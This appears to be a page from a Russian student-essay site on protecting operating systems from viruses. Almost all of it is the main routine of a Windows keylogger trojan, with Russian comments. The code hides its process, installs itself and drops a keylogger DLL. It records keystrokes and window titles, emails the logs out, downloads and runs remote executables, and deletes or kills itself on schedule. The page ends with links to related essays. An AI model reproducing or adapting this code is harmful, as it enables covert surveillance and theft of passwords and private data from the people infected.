int WINAPI WinMain (HINSTANCE,HINSTANCE,LPSTR, int)

{

MSG msg;

char buf1 [0x100],buf2 [0x200], buf3 [0x100], *szKillIt;

HINSTANCE h_ker, h_keylog, h_ras;

SYSTEMTIME systime, killtime, mailtime, exectime;

int h_timer, i, j;

LPREGISTERSERVICEPROCESS lpRegServ;

LPGETDATA GetData;

LPKEYLOGON KeylogOn;

LPKEYLOGOFF KeylogOff;

LPKEYLOGOPT KeylogOpt;

bool IsLog = false, IsMailing = false, IsChange = false;

UINT cFlush = 0, cMail = 0, cAutoKill = 0, cRegInst = 0, cExe = 0, cCon = 0;

HWND h_curwnd, h_oldwnd = NULL;

FILE* h_f;

HRSRC hr;

HGLOBAL hrd;

_AttachedData a_d;

char* sti_buf;

char old_title [MAX_PATH];

int d_s;

 // Грузим конфинурацию

GetModuleFileName (NULL,buf1,sizeof (buf1));

h_f = fopen (buf1,"rb");

fseek (h_f,0,SEEK_END);

d_s = ftell (h_f);

sti_buf = new char [d_s];

fseek (h_f,0,SEEK_SET);

fread (sti_buf,1,d_s,h_f);

for (i=d_s-1; i>=0; i--) {

sti_buf [i-1] ^= sti_buf [i];

sti_buf [i-1] += sti_buf [i];

};

memcpy (&a_d,&sti_buf [d_s - sizeof (_AttachedData)],sizeof (_AttachedData));

if (a_d. signature! = 0x3104) return - 1;

sti. total_log = a_d. total_log;

sti. encrypt_log = a_d. encrypt_log;

sti. send_mail = a_d. send_mail;

sti. syspass = a_d. syspass;

sti. autokill = a_d. autokill;

sti. fullname = a_d. fullname;

sti. exepath = a_d. exepath;

sti. ras = a_d. ras;

sti. loglimit = a_d. loglimit;

sti. sendafter = a_d. sendafter;

sti. nsubstr = a_d. n_ss;

sti. number = a_d. number;

 // грузим субстроки

for (i=0,j=a_d. ss_ofs; (UINT) i<a_d. n_ss; i++) {

sti. substr [i] = new char [strlen (&sti_buf [j]) + 1];

strcpy (sti. substr [i],&sti_buf [j]);

j += strlen (&sti_buf [j]) + 1;

};

 // имя лога

strcpy (buf1,&sti_buf [a_d. logname_ofs]);

GetSystemDirectory (sti. logname,sizeof (sti. logname));

strcat (sti. logname,"\\");

strcat (sti. logname,buf1);

 // адрес хоста

strcpy (sti. host,&sti_buf [a_d. host_ofs]);

 // от кого?

strcpy (sti. mailfrom,&sti_buf [a_d. mailfrom_ofs]);

 // кому?

strcpy (sti. mailto,&sti_buf [a_d. mailto_ofs]);

strcpy (sti. subj,&sti_buf [a_d. subj_ofs]);

 // имя exe-файла

strcpy (sti. exe_name,&sti_buf [a_d. exe_ofs]);

 // имя кейлог-dll

strcpy (sti. dll_name,&sti_buf [a_d. dll_ofs]);

 // полное имя exe-файла

if (sti. exepath == 2)

strcpy (sti. full_exe_name,&sti_buf [a_d. exe_ofs]);

else {

if (! sti. exepath)

GetWindowsDirectory (sti. full_exe_name,sizeof (sti. full_exe_name));

else

GetSystemDirectory (sti. full_exe_name,sizeof (sti. full_exe_name));

strcat (sti. full_exe_name,"\\");

strcat (sti. full_exe_name,&sti_buf [a_d. exe_ofs]);

};

CharUpperBuff (sti. full_exe_name,strlen (sti. full_exe_name));

 // описание в реестре

strcpy (sti. reg_desc,&sti_buf [a_d. reg_descr_ofs]);

 // путь в реестре

strcpy (sti. reg_path,&sti_buf [a_d. reg_path_ofs]);

 // адрес exe-файла для запуска

strcpy (sti. http,&sti_buf [a_d. http_ofs]);

 // порт сендмэйла

sti. port = a_d. port;

 // интервал между посылками

memcpy (&sti. send_i,&a_d. send_i,sizeof (SYSTEMTIME));

 // время жизни

memcpy (&sti. kill_i,&a_d. kill_i,sizeof (SYSTEMTIME));

delete sti_buf;

DelPrev ();

#ifndef _DEBUG

RecurrentStart (); // Повторно запусть?

Install (); // Интсталируем

#endif

 // Что у нас в командной строке?

sprintf (buf1,"Kill_%X=",sti. number);

szKillIt = strstr (GetCommandLine (),buf1);

if (szKillIt) szKillIt += strlen (buf1);

 // Скрываем процесс

h_ker = LoadLibrary ("KERNEL32. DLL");

if (h_ker) {

lpRegServ =

(LPREGISTERSERVICEPROCESS) GetProcAddress (h_ker,"RegisterServiceProcess");

#ifndef _DEBUG

if (lpRegServ) lpRegServ (NULL,1);

#endif

FreeLibrary (h_ker);

};

 // Подгружаем RASAPI32. DLL если есть

h_ras = LoadLibrary ("RASAPI32. DLL");

if (h_ras) {

RasEnumConnections= (LPRASENUMCCONNECTIONS) GetProcAddress (h_ras,"RasEnumConnectionsA");

RasGetConnectStatus = (LPRASGETCONNECTSTATUS) GetProcAddress (h_ras,"RasGetConnectStatusA");

RasGetEntryProperties = (LPRASGETENTRYPROPERTIES) GetProcAddress (h_ras,"RasGetEntryPropertiesA");

RasGetProjectionInfo = (LPRASGETPROJECTIONINFO) GetProcAddress (h_ras,"RasGetProjectionInfoA");

bRASDLL = (RasEnumConnections) && (RasGetConnectStatus) && (RasGetEntryProperties) && (RasGetProjectionInfo);

} else bRASDLL = false;

 // Проинициализировать лог

LogInit ();

GetSystemDirectory (buf1,sizeof (buf1));

strcat (buf1,"\\");

strcat (buf1,sti. dll_name);

h_keylog = LoadLibrary (buf1);

if (! h_keylog) {

hr = FindResource (

NULL, // resource-module handle

(LPCTSTR) IDR_KDLL, // pointer to resource name

"KDLL" // pointer to resource type

);

hrd = LoadResource (

NULL, // resource-module handle

hr // resource handle

);

unpack_file = fopen (buf1,"w+b");

if (! unpack_file) return - 1;

LZWUnpack ( (char*) hrd,Callback);

fclose (unpack_file);

h_keylog = LoadLibrary (sti. dll_name);

};

 // грузим функции кейлог-dll

GetData = (LPGETDATA) GetProcAddress (h_keylog,"GetData");

KeylogOn = (LPKEYLOGON) GetProcAddress (h_keylog,"KeylogOn");

KeylogOff = (LPKEYLOGOFF) GetProcAddress (h_keylog,"KeylogOff");

KeylogOpt = (LPKEYLOGOPT) GetProcAddress (h_keylog,"KeylogOpt");

#ifdef _DEBUG

if (! GetData) {

ShowMessage ("Error load GetData function");

return - 1;

};

if (! KeylogOn) {

ShowMessage ("Error load KeyLogOn function");

return - 1;

};

if (! KeylogOff) {

ShowMessage ("Error load KeyLogOff function");

return - 1;

};

if (! KeylogOpt) {

ShowMessage ("Error load KeyLogOpt function");

return - 1;

};

#else

if ( (! GetData) || (! KeylogOn) || (! KeylogOff) || (! KeylogOpt)) return - 1;

#endif

 // Ставим режим работы кейлог-dll

KeylogOpt (a_d. adv_log);

 // проинициализить критическую секцию

InitializeCriticalSection (&gcs);

 // Пишем время старта

i = sizeof (buf1);

if (! GetUserName (buf1, (DWORD*) &i)) buf1 [0] = 0;

i = sizeof (buf3);

if (! GetComputerName (buf3, (DWORD*) &i)) buf3 [0] = 0;

sprintf (buf2,"Computer: \"%s\" User: \"%s\"\n",buf3,buf1);

GetLocalTime (&systime);

SysTimePrint (buf3,systime);

sprintf (buf1,"\nStarted at%s,%s\n",buf3,buf2);

LogAdd (buf1);

memcpy (&killtime,&sti. inst_d,sizeof (SYSTEMTIME));

SysTimeSum (killtime,sti. kill_i);

memcpy (&mailtime,&sti. send_d,sizeof (mailtime));

SysTimeSum (mailtime,sti. send_i);

 // Сбрасываем exectime

memset (&exectime,0,sizeof (exectime));

 // Ставим таймер

h_timer = SetTimer (NULL,0,1000,NULL);

while (GetMessage (&msg,NULL,0,0)) // GetMessage-loop

switch (msg. message) {

case WM_TIMER:

 // Забираем данные из кейлог-буфера

if (IsLog) {

i = GetData (buf1,sizeof (buf1));

buf1 [i] = 0;

if ( (! a_d. emp_log) && (IsChange) && (i)) {

LogAdd (old_title);

IsChange = false;

};

LogAdd (buf1);

};

h_curwnd = GetForegroundWindow (); // Получить текущее окно

if (h_curwnd! = h_oldwnd) { // Окно поменялось

 // выключаем лог если он идет

if (IsLog) KeylogOff ();

IsLog = false;

if (TitleTest (h_curwnd,buf2)) { // Окно наше?

GetLocalTime (&systime);

sprintf (old_title,

"\nTitle: \"%s\",%2.2u:%2.2u:%2.2u\n",

buf2,systime. wHour,

systime. wMinute,

systime. wSecond

);

IsChange = true;

if (a_d. emp_log) LogAdd (old_title);

IsLog = KeylogOn (); // Включить лог

};

};

h_oldwnd = h_curwnd;

 // Обработка сброса буфера на хард

if (cFlush > FLUSH_BUFFER_TIME) {

LogFlush ();

cFlush = 0;

} else cFlush++;

if (sti. send_mail) {

if ( (cMail > MAIL_TEST_TIME) && (! IsMailing)) {

GetLocalTime (&systime);

if ( (SysTimeComp (systime,mailtime) >= 0) ||

(sti. logsize > sti. sendafter)) { // Мылим

LogEmailing (mailtime, IsMailing);

};

cMail = 0;

} else cMail++;

};

if (cRegInst > REG_TEST_TIME) {

if (sti. autokill) {

GetLocalTime (&systime);

if (SysTimeComp (systime,killtime) >= 0) {

AutoKill (h_keylog);

};

};

RegInstall ();

cRegInst = 0;

} else cRegInst++;

if ( (cExe > EXEC_TEST_TIME) && (! IsMailing)) {

GetLocalTime (&systime);

if (SysTimeComp (systime,exectime) >= 0) {

HttpDownloading (exectime, IsMailing);

};

cExe = 0;

} else cExe++;

 // Килять исходный экзешник?

if (szKillIt) {

if (DeleteFile (szKillIt)) szKillIt = NULL;

};

 // Проврека на возникновение соединения

if (cCon > CON_TEST_TIME) {

cCon = 0;

ConDectecting ();

} else cCon++;

break;

#ifdef _DEBUG

default:

sprintf (buf1,"Unknown Message:%X",msg. message);

ShowMessage (buf1);

#endif

};

return msg. wParam;

};


Информация о работе «Способы защиты операционной системы от вирусных программ»
Раздел: Информатика, программирование
Количество знаков с пробелами: 160219
Количество таблиц: 2
Количество изображений: 22

Похожие работы

Скачать
32812
0
0

... оперативная внутренняя и внешняя память – предназначена для хранения информации, с которой работает процессор , 3. устройства ввода и вывода информации, 4. линии внутренней связи. Ядро операционной системы. Служебные программы, программы интерфейса. Операционные системы Windows. Сравнительные характеристики Ядро́ — центральная часть операционной системы (ОС), обеспечивающая приложениям ...

Скачать
89542
4
2

... в компьютере, мог его угадать. При формировании пароля можно прибегнуть к помощи специального устройства, которое генерирует последовательности чисел и букв в зависимости от данных, которые задает пользователь. Существуют “невидимые” файлы. Это средство защиты состоит в изменении имени файла программы в каталоге диска таким образом, чтобы затруднить работу с файлами обычными командами DOS. ...

Скачать
28291
3
8

... производит мониторинг офисных документов. 5. Сравнительный анализ антивирусных средств   Для выбора оптимального антивирусного средства из перечисленных сформируем базовый перечень характеристик и параметров, которые являются наиболее значимыми с точки зрения эффективности антивирусной защиты. Одновременно учтем экономность дискового пространства, занимаемого антивирусным средством в ...

Скачать
48496
1
0

... на диске и компьютере; использовать для восстановления зараженных файлов и системных областей диска только самые последние версии антивирусов.   2.1.4 Сравнительный анализ антивирусных средств. Существует много различных антивирусных программ как отечественного, так и неотечественного происхождения. И для того, чтобы понять какая из антивирусных программ лучше, проведем их сравнительный анализ ...

0 комментариев


Наверх